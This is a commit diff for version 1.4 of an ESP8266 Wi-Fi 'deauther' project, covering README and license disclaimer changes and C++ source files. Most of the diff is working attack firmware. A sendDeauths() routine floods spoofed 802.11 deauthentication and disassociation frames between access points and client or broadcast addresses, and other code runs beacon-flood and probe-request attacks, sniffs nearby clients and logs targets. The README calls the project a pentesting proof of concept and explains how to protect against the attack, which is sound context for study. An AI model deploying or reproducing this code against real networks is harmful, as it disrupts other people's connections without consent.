version 1.4
- changed webinterface design - improved error handling - can add clients manually - added settings reset via console command "reset" and GPIO 4 - improved default settings for more stability - added warning at the beginning - added info page
2
LICENSE
|
@ -12,6 +12,8 @@ furnished to do so, subject to the following conditions:
|
|||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
|
|
37
README.md
|
@ -5,6 +5,16 @@ Deauthentication attack and other hacks using an ESP8266.
|
|||
|
||||
[![Donate](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=RCHANSVSX9M8C)
|
||||
|
||||
**Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!**
|
||||
|
||||
I disabled the issue section because of the flood of invalid questions, unrelated to this project.
|
||||
All necessary information is described below. Do not open issues about this project on any other of my projects, otherwise you will be blocked immediately!
|
||||
|
||||
**This project is a proof of concept for testing and education.**
|
||||
Neither the ESP8266, nor the SDK was meant and build for such purposes.
|
||||
Bugs can occur!
|
||||
|
||||
|
||||
## Contents
|
||||
- [Introduction](#introduction)
|
||||
- [What it is](#what-it-is)
|
||||
|
@ -12,13 +22,13 @@ Deauthentication attack and other hacks using an ESP8266.
|
|||
- [What an ESP8266 is](#what-an-esp8266-is)
|
||||
- [How to protect against it](#how-to-protect-against-it)
|
||||
- [Disclaimer](#disclaimer)
|
||||
- [Videos](#videos)
|
||||
- [Installation](#installation)
|
||||
- [Uploading the bin files](#uploading-the-bin-files)
|
||||
- [Compiling the source with Arduino](#compiling-the-source-with-arduino)
|
||||
- [Adding OLED display](#adding-oled-display)
|
||||
- [How to use it](#how-to-use-it)
|
||||
- [FAQ](#faq)
|
||||
- [Videos](#videos)
|
||||
- [License](#license)
|
||||
- [Sources and additional links](#sources-and-additional-links)
|
||||
|
||||
|
@ -62,10 +72,22 @@ I don't take any responsibility for what you do with this program.
|
|||
Please check the legal regulations in your country before using it.
|
||||
**It is not a jammer device as claimed falsely by many people.** Its attack, how it works and how to protect against it is described above. It uses valid Wi-Fi frames described in the official 802.11 standard and doesn't block any communications on any frequency.
|
||||
|
||||
Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!
|
||||
|
||||
My intention with this project is to draw more attention to this issue.
|
||||
This attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed.
|
||||
**A solution is already there, why don’t we use it?**
|
||||
|
||||
## Videos
|
||||
|
||||
[![Cheap Wi-Fi 'Jammer' Device | NodeMCU](https://img.youtube.com/vi/oQQhBdCQOTM/0.jpg)](https://www.youtube.com/watch?v=oQQhBdCQOTM)
|
||||
|
||||
[![Wifi 'Jammer' Device V1.1 | Setup Tutorial](https://img.youtube.com/vi/r5aoV5AolNo/0.jpg)](https://www.youtube.com/watch?v=r5aoV5AolNo)
|
||||
|
||||
[![WiFi Jamming Tutorial "Deauthing Made Simple" ](https://img.youtube.com/vi/SswI-J-M2SE/0.jpg)](https://www.youtube.com/watch?v=SswI-J-M2SE)
|
||||
|
||||
[![NodeMCU ESP8266 Tutorial 02: WiFi Hack with ESP8266 (NodeMCU WiFi Jammer)](https://img.youtube.com/vi/MOscKnm8IcY/0.jpg)](https://www.youtube.com/watch?v=MOscKnm8IcY)
|
||||
|
||||
## Installation
|
||||
|
||||
The only thing you will need is a computer and an ESP8266.
|
||||
|
@ -235,21 +257,12 @@ If it can send packets but your target doesn't loose its connection, then the Wi
|
|||
|
||||
### If you have other questions or problems with the ESP8266 you can also check out the official [community forum](http://www.esp8266.com/).
|
||||
|
||||
## Videos
|
||||
|
||||
[![Cheap Wi-Fi 'Jammer' Device | NodeMCU](https://img.youtube.com/vi/oQQhBdCQOTM/0.jpg)](https://www.youtube.com/watch?v=oQQhBdCQOTM)
|
||||
|
||||
[![Wifi 'Jammer' Device V1.1 | Setup Tutorial](https://img.youtube.com/vi/r5aoV5AolNo/0.jpg)](https://www.youtube.com/watch?v=r5aoV5AolNo)
|
||||
|
||||
[![WiFi Jamming Tutorial "Deauthing Made Simple" ](https://img.youtube.com/vi/SswI-J-M2SE/0.jpg)](https://www.youtube.com/watch?v=SswI-J-M2SE)
|
||||
|
||||
[![NodeMCU ESP8266 Tutorial 02: WiFi Hack with ESP8266 (NodeMCU WiFi Jammer)](https://img.youtube.com/vi/MOscKnm8IcY/0.jpg)](https://www.youtube.com/watch?v=MOscKnm8IcY)
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the MIT License - see the [license file](LICENSE) file for details.
|
||||
|
||||
**The License file must be included in any redistributed version of this program!**
|
||||
**The License file must be included in any redistributed version of this program!**
|
||||
Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!
|
||||
|
||||
## Sources and additional links
|
||||
|
||||
|
|
|
@ -251,6 +251,11 @@ void APScan::sort() {
|
|||
tmpC = selected[h];
|
||||
selected[h] = selected[h + 1];
|
||||
selected[h + 1] = tmpC;
|
||||
|
||||
Mac tmpMac = aps._get(h);
|
||||
aps.set(h,aps._get(h+1));
|
||||
aps.set(h+1,tmpMac);
|
||||
|
||||
} else Serial.println((String)rssi[h] + " < " + (String)rssi[h + 1]);
|
||||
}
|
||||
}
|
||||
|
@ -258,15 +263,16 @@ void APScan::sort() {
|
|||
|
||||
void APScan::select(int num) {
|
||||
if (debug) Serial.println("select " + (String)num + " - " + !selected[num]);
|
||||
if (selected[num]) {
|
||||
selected[num] = false;
|
||||
selectedSum--;
|
||||
} else {
|
||||
selected[num] = true;
|
||||
selectedSum++;
|
||||
if(!settings.multiAPs){
|
||||
for (int i = 0; i < maxAPScanResults; i++){
|
||||
if(i != num) selected[i] = false;
|
||||
}
|
||||
}
|
||||
selected[num] = !selected[num];
|
||||
if (selected[num]) selectedSum--;
|
||||
else selectedSum++;
|
||||
}
|
||||
|
||||
bool APScan::isSelected(int num) {
|
||||
return selected[num];
|
||||
}
|
||||
}
|
||||
|
|
|
@ -5,7 +5,7 @@ Attack::Attack() {
|
|||
}
|
||||
|
||||
void Attack::generate() {
|
||||
if (debug) Serial.print("\n generating Macs...");
|
||||
if (debug) Serial.print("\n generating MACs...");
|
||||
|
||||
Mac _randomBeaconMac;
|
||||
uint8_t _randomMacBuffer[6];
|
||||
|
@ -114,6 +114,20 @@ bool Attack::send() {
|
|||
return true;
|
||||
}
|
||||
|
||||
void Attack::sendDeauths(Mac from, Mac to){
|
||||
for(int i=0;i<settings.attackPacketRate;i++){
|
||||
buildDeauth(from, to, 0xc0, settings.deauthReason );
|
||||
if(send()) packetsCounter[0]++;
|
||||
buildDeauth(from, to, 0xa0, settings.deauthReason );
|
||||
send();
|
||||
buildDeauth(to, from, 0xc0, settings.deauthReason );
|
||||
send();
|
||||
buildDeauth(to, from, 0xa0, settings.deauthReason );
|
||||
send();
|
||||
delay(5);
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::run() {
|
||||
unsigned long currentMillis = millis();
|
||||
|
||||
|
@ -131,11 +145,11 @@ void Attack::run() {
|
|||
wifi_set_channel(_ch);
|
||||
|
||||
int _selectedClients = 0;
|
||||
|
||||
for (int i = 0; i < clientScan.results; i++) {
|
||||
if (clientScan.getClientSelected(i)) {
|
||||
_selectedClients++;
|
||||
|
||||
if (settings.channelHop) {
|
||||
/*if (settings.channelHop) {
|
||||
for (int j = 1; j < maxChannel; j++) {
|
||||
wifi_set_channel(j);
|
||||
|
||||
|
@ -145,47 +159,16 @@ void Attack::run() {
|
|||
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
|
||||
if (send()) packetsCounter[0]++;
|
||||
}
|
||||
} else {
|
||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
|
||||
for (int h = 0; h < settings.attackPacketRate; h++) {
|
||||
if (send()) {
|
||||
packetsCounter[0]++;
|
||||
delay((950 / (settings.attackPacketRate * clientScan.selectedResults)) / 2 - 1);
|
||||
}
|
||||
}
|
||||
|
||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
|
||||
for (int h = 0; h < settings.attackPacketRate; h++) {
|
||||
if (send()) {
|
||||
packetsCounter[0]++;
|
||||
delay((950 / (settings.attackPacketRate * clientScan.selectedResults)) / 2 - 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {*/
|
||||
sendDeauths(_ap, clientScan.getClientMac(i));
|
||||
//}
|
||||
}
|
||||
}
|
||||
|
||||
if (_selectedClients == 0) {
|
||||
Mac _client;
|
||||
_client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
|
||||
|
||||
if (settings.channelHop) {
|
||||
for (int j = 1; j < maxChannel; j++) {
|
||||
wifi_set_channel(j);
|
||||
|
||||
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
|
||||
if (send()) packetsCounter[0]++;
|
||||
|
||||
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
|
||||
if (send()) packetsCounter[0]++;
|
||||
}
|
||||
} else {
|
||||
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
|
||||
for (int h = 0; h < settings.attackPacketRate; h++) if (send()) packetsCounter[0]++;
|
||||
|
||||
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
|
||||
for (int h = 0; h < settings.attackPacketRate; h++) if (send()) packetsCounter[0]++;
|
||||
}
|
||||
sendDeauths(_ap, _client);
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -200,42 +183,18 @@ void Attack::run() {
|
|||
}
|
||||
}
|
||||
|
||||
/* =============== Beacon clone Attack =============== */
|
||||
/* =============== Beacon list Attack =============== */
|
||||
if (isRunning[1] && currentMillis - prevTime[1] >= 100) {
|
||||
if (debug) Serial.print("running " + (String)attackNames[1] + " attack...");
|
||||
prevTime[1] = millis();
|
||||
|
||||
for (int a = 0; a < apScan.results; a++) {
|
||||
if (apScan.isSelected(a) && !apScan.isHidden(a)) {
|
||||
String _ssid = apScan.getAPName(a);
|
||||
int _ssidLen = _ssid.length();
|
||||
int _restSSIDLen = 32 - _ssidLen;
|
||||
//int _ch = apScan.getAPChannel(a);
|
||||
for (int a = 0; a < ssidList.len; a++) {
|
||||
String _ssid = ssidList.get(a);
|
||||
int _ch = channels[a];
|
||||
|
||||
//wifi_set_channel(_ch);
|
||||
buildBeacon(beaconAdrs._get(a), _ssid, _ch, settings.attackEncrypted);
|
||||
|
||||
for (int c = 0; c < macListLen / apScan.selectedSum; c++) {
|
||||
String _apName = _ssid;
|
||||
int _ch = channels[c];
|
||||
|
||||
if (c < _restSSIDLen) for (int d = 0; d < _restSSIDLen - c; d++) _apName += " "; //e.g. "SAMPLEAP "
|
||||
else if (c < _restSSIDLen * 2) {
|
||||
_apName = " " + _apName;
|
||||
for (int d = 0; d < (_restSSIDLen - 1) - c / 2; d++) _apName += " "; //e.g. " SAMPLEAP "
|
||||
} else if (c < _restSSIDLen * 3) {
|
||||
_apName = "." + _apName;
|
||||
for (int d = 0; d < (_restSSIDLen - 1) - c / 3; d++) _apName += " "; //e.g. ".SAMPLEAP "
|
||||
} else {
|
||||
for (int d = 0; d < _restSSIDLen - 2; d++) _apName += " ";
|
||||
_apName += (String)c;//e.g. "SAMPLEAP 78"
|
||||
}
|
||||
|
||||
buildBeacon(beaconAdrs._get(c), _apName, _ch, apScan.getAPEncryption(a) != "none");
|
||||
|
||||
if (send()) packetsCounter[1]++;
|
||||
}
|
||||
|
||||
}
|
||||
if (send()) packetsCounter[1]++;
|
||||
}
|
||||
|
||||
stati[1] = (String)(packetsCounter[1] * 10) + "pkts/s";
|
||||
|
@ -252,55 +211,27 @@ void Attack::run() {
|
|||
}
|
||||
}
|
||||
|
||||
/* =============== Beacon list Attack =============== */
|
||||
if (isRunning[2] && currentMillis - prevTime[2] >= 100) {
|
||||
/* =============== Probe Request Attack =============== */
|
||||
if (isRunning[2] && currentMillis - prevTime[2] >= 1000) {
|
||||
if (debug) Serial.print("running " + (String)attackNames[2] + " attack...");
|
||||
prevTime[2] = millis();
|
||||
|
||||
for (int a = 0; a < ssidList.len; a++) {
|
||||
String _ssid = ssidList.get(a);
|
||||
int _ch = channels[a];
|
||||
|
||||
buildBeacon(beaconAdrs._get(a), _ssid, _ch, settings.attackEncrypted);
|
||||
|
||||
buildProbe(ssidList.get(a), beaconAdrs._get(a));
|
||||
if (send()) packetsCounter[2]++;
|
||||
}
|
||||
|
||||
stati[2] = (String)(packetsCounter[2] * 10) + "pkts/s";
|
||||
packetsCounter[2] = 0;
|
||||
macListChangeCounter++;
|
||||
if (macListChangeCounter / 10 >= macChangeInterval && macChangeInterval > 0) {
|
||||
generate();
|
||||
macListChangeCounter = 0;
|
||||
}
|
||||
if (debug) Serial.println(" done");
|
||||
if (settings.attackTimeout > 0) {
|
||||
attackTimeoutCounter[2]++;
|
||||
if (attackTimeoutCounter[2] / 10 > settings.attackTimeout) stop(2);
|
||||
}
|
||||
}
|
||||
|
||||
/* =============== Probe Request Attack =============== */
|
||||
if (isRunning[3] && currentMillis - prevTime[3] >= 1000) {
|
||||
if (debug) Serial.print("running " + (String)attackNames[3] + " attack...");
|
||||
prevTime[3] = millis();
|
||||
|
||||
for (int a = 0; a < ssidList.len; a++) {
|
||||
buildProbe(ssidList.get(a), beaconAdrs._get(a));
|
||||
if (send()) packetsCounter[3]++;
|
||||
}
|
||||
|
||||
stati[3] = (String)(packetsCounter[3] * 10) + "pkts/s";
|
||||
packetsCounter[3] = 0;
|
||||
macListChangeCounter++;
|
||||
if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0) {
|
||||
generate();
|
||||
macListChangeCounter = 0;
|
||||
}
|
||||
if (debug) Serial.println("done");
|
||||
if (settings.attackTimeout > 0) {
|
||||
attackTimeoutCounter[3]++;
|
||||
if (attackTimeoutCounter[3] > settings.attackTimeout) stop(3);
|
||||
attackTimeoutCounter[2]++;
|
||||
if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -308,26 +239,19 @@ void Attack::run() {
|
|||
|
||||
void Attack::start(int num) {
|
||||
Serial.println(num);
|
||||
if (!isRunning[num]) {
|
||||
if(!isRunning[num]) {
|
||||
Serial.println(num);
|
||||
isRunning[num] = true;
|
||||
stati[num] = "starting";
|
||||
prevTime[num] = millis();
|
||||
prevTime[num] = millis();_log(num);
|
||||
attackTimeoutCounter[num] = 0;
|
||||
refreshLed();
|
||||
if (debug) Serial.println("starting " + (String)attackNames[num] + " attack...");
|
||||
if (num == 0) attackMode = "STOP";
|
||||
if (num == 1) {
|
||||
stop(2);
|
||||
stop(3);
|
||||
} else if (num == 2) {
|
||||
stop(1);
|
||||
stop(3);
|
||||
} else if (num == 3) {
|
||||
stop(1);
|
||||
stop(2);
|
||||
for (int i = 0; i < attacksNum; i++){
|
||||
if(i != num) stop(i);
|
||||
}
|
||||
} else stop(num);
|
||||
}else stop(num);
|
||||
}
|
||||
|
||||
void Attack::stop(int num) {
|
||||
|
@ -345,18 +269,31 @@ void Attack::stopAll() {
|
|||
for (int i = 0; i < attacksNum; i++) stop(i);
|
||||
}
|
||||
|
||||
String Attack::getResults() {
|
||||
if (debug) Serial.print("getting attacks JSON...");
|
||||
void Attack::_log(int num){
|
||||
openLog();
|
||||
addLog((String)attackNames[num]);
|
||||
for(int a=0;a<apScan.results;a++){
|
||||
if(apScan.isSelected(a)){
|
||||
Mac _ap;
|
||||
_ap.setMac(apScan.aps._get(a));
|
||||
addLog(_ap.toString());
|
||||
}
|
||||
}
|
||||
addLog("-");
|
||||
for(int i=0;i<clientScan.results; i++) {
|
||||
if(clientScan.getClientSelected(i)) {
|
||||
addLog(clientScan.getClientMac(i).toString());
|
||||
}
|
||||
}
|
||||
closeLog();
|
||||
}
|
||||
|
||||
for (int i = 0; i < attacksNum; i++) if (!isRunning[i]) stati[i] = "ready";
|
||||
|
||||
if (apScan.getFirstTarget() < 0) stati[0] = stati[1] = "no AP";
|
||||
if (ssidList.len < 1) stati[2] = stati[3] = "no SSID";
|
||||
|
||||
int _selected;
|
||||
String json = "{ \"aps\": [";
|
||||
|
||||
_selected = 0;
|
||||
size_t Attack::getSize(){
|
||||
size_t jsonSize = 0;
|
||||
|
||||
String json = "{\"aps\":[";
|
||||
|
||||
int _selected = 0;
|
||||
for (int i = 0; i < apScan.results; i++) {
|
||||
if (apScan.isSelected(i)) {
|
||||
json += "\"" + apScan.getAPName(i) + "\",";
|
||||
|
@ -365,7 +302,9 @@ String Attack::getResults() {
|
|||
}
|
||||
if (_selected > 0) json.remove(json.length() - 1);
|
||||
|
||||
json += "], \"clients\": [";
|
||||
jsonSize += json.length();
|
||||
|
||||
json = "],\"clients\":[";
|
||||
|
||||
_selected = 0;
|
||||
for (int i = 0; i < clientScan.results; i++) {
|
||||
|
@ -377,29 +316,88 @@ String Attack::getResults() {
|
|||
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
|
||||
else json.remove(json.length() - 1);
|
||||
|
||||
json += "], \"attacks\": [";
|
||||
jsonSize += json.length();
|
||||
|
||||
json = "],\"attacks\":[";
|
||||
for (int i = 0; i < attacksNum; i++) {
|
||||
json += "{";
|
||||
json += "\"name\": \"" + attackNames[i] + "\",";
|
||||
json += "\"status\": \"" + stati[i] + "\",";
|
||||
json += "\"running\": " + (String)isRunning[i] + "";
|
||||
json += "\"name\":\"" + attackNames[i] + "\",";
|
||||
json += "\"status\":\"" + stati[i] + "\",";
|
||||
json += "\"running\":" + (String)isRunning[i] + "";
|
||||
json += "}";
|
||||
if (i != attacksNum - 1) json += ",";
|
||||
}
|
||||
json += "],";
|
||||
|
||||
json += "\"ssid\": [";
|
||||
jsonSize += json.length();
|
||||
|
||||
json = "\"ssid\":[";
|
||||
jsonSize += json.length();
|
||||
for (int i = 0; i < ssidList.len; i++) {
|
||||
json += "\"" + ssidList.get(i) + "\"";
|
||||
json = "\"" + ssidList.get(i) + "\"";
|
||||
if (i != ssidList.len - 1) json += ",";
|
||||
jsonSize += json.length();
|
||||
}
|
||||
json += "]";
|
||||
json += "}";
|
||||
if (debug) {
|
||||
Serial.println(json);
|
||||
Serial.println("done");
|
||||
|
||||
json = "]}";
|
||||
jsonSize += json.length();
|
||||
|
||||
return jsonSize;
|
||||
}
|
||||
|
||||
void Attack::sendResults(){
|
||||
size_t _size = getSize();
|
||||
if (debug) Serial.print("getting attacks JSON ("+(String)_size+")...");
|
||||
sendHeader(200, "text/json", _size);
|
||||
|
||||
String json = "{\"aps\":[";
|
||||
|
||||
int _selected = 0;
|
||||
for (int i = 0; i < apScan.results; i++) {
|
||||
if (apScan.isSelected(i)) {
|
||||
json += "\"" + apScan.getAPName(i) + "\",";
|
||||
_selected++;
|
||||
}
|
||||
}
|
||||
return json;
|
||||
if (_selected > 0) json.remove(json.length() - 1);
|
||||
sendToBuffer(json);
|
||||
|
||||
|
||||
json = "],\"clients\":[";
|
||||
|
||||
_selected = 0;
|
||||
for (int i = 0; i < clientScan.results; i++) {
|
||||
if (clientScan.getClientSelected(i)) {
|
||||
json += "\"" + clientScan.getClientMac(i).toString() + " " + clientScan.getClientVendor(i) + " - " + clientScan.getClientName(i) + "\",";
|
||||
_selected++;
|
||||
}
|
||||
}
|
||||
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
|
||||
else json.remove(json.length() - 1);
|
||||
|
||||
sendToBuffer(json);
|
||||
|
||||
json = "],\"attacks\":[";
|
||||
for (int i = 0; i < attacksNum; i++) {
|
||||
json += "{";
|
||||
json += "\"name\":\"" + attackNames[i] + "\",";
|
||||
json += "\"status\":\"" + stati[i] + "\",";
|
||||
json += "\"running\":" + (String)isRunning[i] + "";
|
||||
json += "}";
|
||||
if (i != attacksNum - 1) json += ",";
|
||||
}
|
||||
json += "],\"ssid\":[";
|
||||
sendToBuffer(json);
|
||||
|
||||
for (int i = 0; i < ssidList.len; i++) {
|
||||
json = "\"" + ssidList.get(i) + "\"";
|
||||
if (i != ssidList.len - 1) json += ",";
|
||||
sendToBuffer(json);
|
||||
}
|
||||
json = "]}";
|
||||
sendToBuffer(json);
|
||||
|
||||
sendBuffer();
|
||||
if (debug) Serial.println("done");
|
||||
}
|
||||
|
||||
void Attack::refreshLed() {
|
||||
|
@ -417,4 +415,4 @@ void Attack::refreshLed() {
|
|||
digitalWrite(2, HIGH);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ extern "C" {
|
|||
#include "Settings.h"
|
||||
#include "SSIDList.h"
|
||||
|
||||
#define attacksNum 4
|
||||
#define attacksNum 3
|
||||
#define macListLen 64
|
||||
#define macChangeInterval 4
|
||||
|
||||
|
@ -24,6 +24,9 @@ extern void PrintHex8(uint8_t *data, uint8_t length);
|
|||
extern void getRandomVendorMac(uint8_t *buf);
|
||||
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
|
||||
extern const bool debug;
|
||||
extern void addLog(String str);
|
||||
extern void openLog();
|
||||
extern void closeLog();
|
||||
extern String attackMode;
|
||||
|
||||
extern APScan apScan;
|
||||
|
@ -40,17 +43,21 @@ class Attack
|
|||
void start(int num);
|
||||
void stop(int num);
|
||||
void stopAll();
|
||||
String getResults();
|
||||
void sendResults();
|
||||
size_t getSize();
|
||||
void refreshLed();
|
||||
private:
|
||||
|
||||
void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason);
|
||||
void buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt);
|
||||
void _log(int num);
|
||||
void buildProbe(String _ssid, Mac _mac);
|
||||
bool send();
|
||||
|
||||
void sendDeauths(Mac from, Mac to);
|
||||
|
||||
//attack declarations
|
||||
const String attackNames[attacksNum] = {"deauth", "beacon (clone)", "beacon (list)", "probe request"};
|
||||
const String attackNames[attacksNum] = {"Deauth", "Beacon", "Probe-Request"};
|
||||
|
||||
//attack infos
|
||||
String stati[attacksNum];
|
||||
|
@ -130,4 +137,4 @@ class Attack
|
|||
bool buildInLedStatus = false;
|
||||
};
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
|
|
@ -81,8 +81,18 @@ bool ClientScan::stop() {
|
|||
return false;
|
||||
}
|
||||
|
||||
int ClientScan::add(Mac adr){
|
||||
int clientNum = clients.getNum(adr);
|
||||
if (clientNum == -1 && results < maxClientScanResults) {
|
||||
data_getVendor(adr._get(0), adr._get(1), adr._get(2)).toCharArray(vendors[results], 9);
|
||||
connectedToAp[results] = -1;
|
||||
results++;
|
||||
int clientNum = clients.add(adr);
|
||||
}
|
||||
return clientNum;
|
||||
}
|
||||
|
||||
void ClientScan::packetSniffer(uint8_t *buf, uint16_t len) {
|
||||
int cliNbr;
|
||||
if (sniffing && len > 27) {
|
||||
from.set(buf[16], buf[17], buf[18], buf[19], buf[20], buf[21]);
|
||||
to.set(buf[22], buf[23], buf[24], buf[25], buf[26], buf[27]);
|
||||
|
@ -90,23 +100,18 @@ void ClientScan::packetSniffer(uint8_t *buf, uint16_t len) {
|
|||
for (int i = 0; i < apScan.results; i++) {
|
||||
if (apScan.isSelected(i)) {
|
||||
if (apScan.aps._get(i).compare(from)) {
|
||||
int clientNum = clientNum = clients.getNum(to);
|
||||
int clientNum = add(to);
|
||||
connectedToAp[clientNum] = i;
|
||||
packets[clientNum]++;
|
||||
if (clientNum == -1 && results < maxClientScanResults) {
|
||||
data_getVendor(to._get(0), to._get(1), to._get(2)).toCharArray(vendors[results], 9);
|
||||
results++;
|
||||
cliNbr = clients.add(to);
|
||||
packets[cliNbr]++;
|
||||
connectedToAp[cliNbr] = i;
|
||||
} else packets[clientNum]++;
|
||||
|
||||
if (debug) {
|
||||
Serial.print("found: ");
|
||||
from._print();
|
||||
Serial.print(" => ");
|
||||
to._print();
|
||||
Serial.println("");
|
||||
if (debug) {
|
||||
Serial.print("found: ");
|
||||
from._print();
|
||||
Serial.print(" => ");
|
||||
to._print();
|
||||
Serial.println("");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -138,32 +143,84 @@ int ClientScan::getFirstClient() {
|
|||
}
|
||||
return -1;
|
||||
}
|
||||
String ClientScan::getResults() {
|
||||
if (debug) Serial.print("getting client scan result JSON ");
|
||||
String json = "{ \"clients\":[";
|
||||
for (int i = 0; i < results && i < maxClientScanResults; i++) {
|
||||
json += "{";
|
||||
json += "\"i\":" + (String)i + ",";
|
||||
json += "\"p\":" + (String)getClientPackets(i) + ",";
|
||||
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
|
||||
json += "\"n\":\"" + (String)nameList.get(getClientMac(i)) + "\",";
|
||||
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
|
||||
json += "\"s\":" + (String)getClientSelected(i) + ",";
|
||||
json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
|
||||
json += "}";
|
||||
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
|
||||
}
|
||||
json += "] }";
|
||||
if (debug) {
|
||||
Serial.println(json);
|
||||
Serial.println("done ");
|
||||
}
|
||||
return json;
|
||||
|
||||
}
|
||||
|
||||
void ClientScan::select(int num) {
|
||||
selected[num] = !selected[num];
|
||||
if (selected[num]) selectedResults++;
|
||||
else selectedResults--;
|
||||
}
|
||||
|
||||
size_t ClientScan::getSize(){
|
||||
size_t jsonSize = 0;
|
||||
String json = "{\"clients\":[";
|
||||
jsonSize += json.length();
|
||||
for (int i = 0; i < results && i < maxClientScanResults; i++) {
|
||||
json = "{";
|
||||
json += "\"i\":" + (String)i + ",";
|
||||
json += "\"p\":" + (String)getClientPackets(i) + ",";
|
||||
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
|
||||
json += "\"n\":\"" + (String)nameList.get(getClientMac(i)) + "\",";
|
||||
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
|
||||
json += "\"s\":" + (String)getClientSelected(i) + ",";
|
||||
if(getClientConnectedAp(i)>=0) json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
|
||||
else json += "\"a\":\"?\"";
|
||||
json += "}";
|
||||
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
|
||||
jsonSize += json.length();
|
||||
}
|
||||
json = "],\"nameList\":[";
|
||||
jsonSize += json.length();
|
||||
|
||||
for (int i = 0; i < nameList.len; i++) {
|
||||
json = "{";
|
||||
json += "\"n\":\"" + nameList.getName(i) + "\",";
|
||||
json += "\"m\":\"" + nameList.getMac(i).toString() + "\"";
|
||||
//json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
|
||||
json += "}";
|
||||
if (i != nameList.len - 1) json += ",";
|
||||
jsonSize += json.length();
|
||||
}
|
||||
jsonSize += 2;
|
||||
|
||||
return jsonSize;
|
||||
}
|
||||
|
||||
void ClientScan::send() {
|
||||
size_t _size = getSize();
|
||||
sendHeader(200, "text/json", _size);
|
||||
if (debug) Serial.println("getting settings json ("+(String)_size+")");
|
||||
|
||||
String json;
|
||||
sendToBuffer("{\"clients\":[");
|
||||
for (int i = 0; i < results && i < maxClientScanResults; i++) {
|
||||
json = "{";
|
||||
json += "\"i\":" + (String)i + ",";
|
||||
json += "\"p\":" + (String)getClientPackets(i) + ",";
|
||||
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
|
||||
json += "\"n\":\"" + (String)nameList.get(getClientMac(i)) + "\",";
|
||||
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
|
||||
json += "\"s\":" + (String)getClientSelected(i) + ",";
|
||||
if(getClientConnectedAp(i)>=0) json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
|
||||
else json += "\"a\":\"?\"";
|
||||
json += "}";
|
||||
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
|
||||
sendToBuffer(json);
|
||||
}
|
||||
sendToBuffer("],\"nameList\":[");
|
||||
|
||||
for (int i = 0; i < nameList.len; i++) {
|
||||
json = "{";
|
||||
json += "\"n\":\"" + nameList.getName(i) + "\",";
|
||||
json += "\"m\":\"" + nameList.getMac(i).toString() + "\"";
|
||||
//json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
|
||||
json += "}";
|
||||
if (i != nameList.len - 1) json += ",";
|
||||
sendToBuffer(json);
|
||||
}
|
||||
sendToBuffer("]}");
|
||||
|
||||
sendBuffer();
|
||||
|
||||
if(debug) Serial.println("\ndone");
|
||||
|
||||
}
|
||||
|
|
|
@ -29,8 +29,8 @@ class ClientScan {
|
|||
void clearList();
|
||||
bool stop();
|
||||
void packetSniffer(uint8_t *buf, uint16_t len);
|
||||
|
||||
String getResults();
|
||||
int add(Mac adr);
|
||||
void send();
|
||||
void select(int num);
|
||||
|
||||
String getClientName(int num);
|
||||
|
@ -47,6 +47,8 @@ class ClientScan {
|
|||
|
||||
bool sniffing = false;
|
||||
private:
|
||||
size_t getSize();
|
||||
|
||||
long startTime = 0;
|
||||
|
||||
Mac from;
|
||||
|
@ -66,4 +68,4 @@ class ClientScan {
|
|||
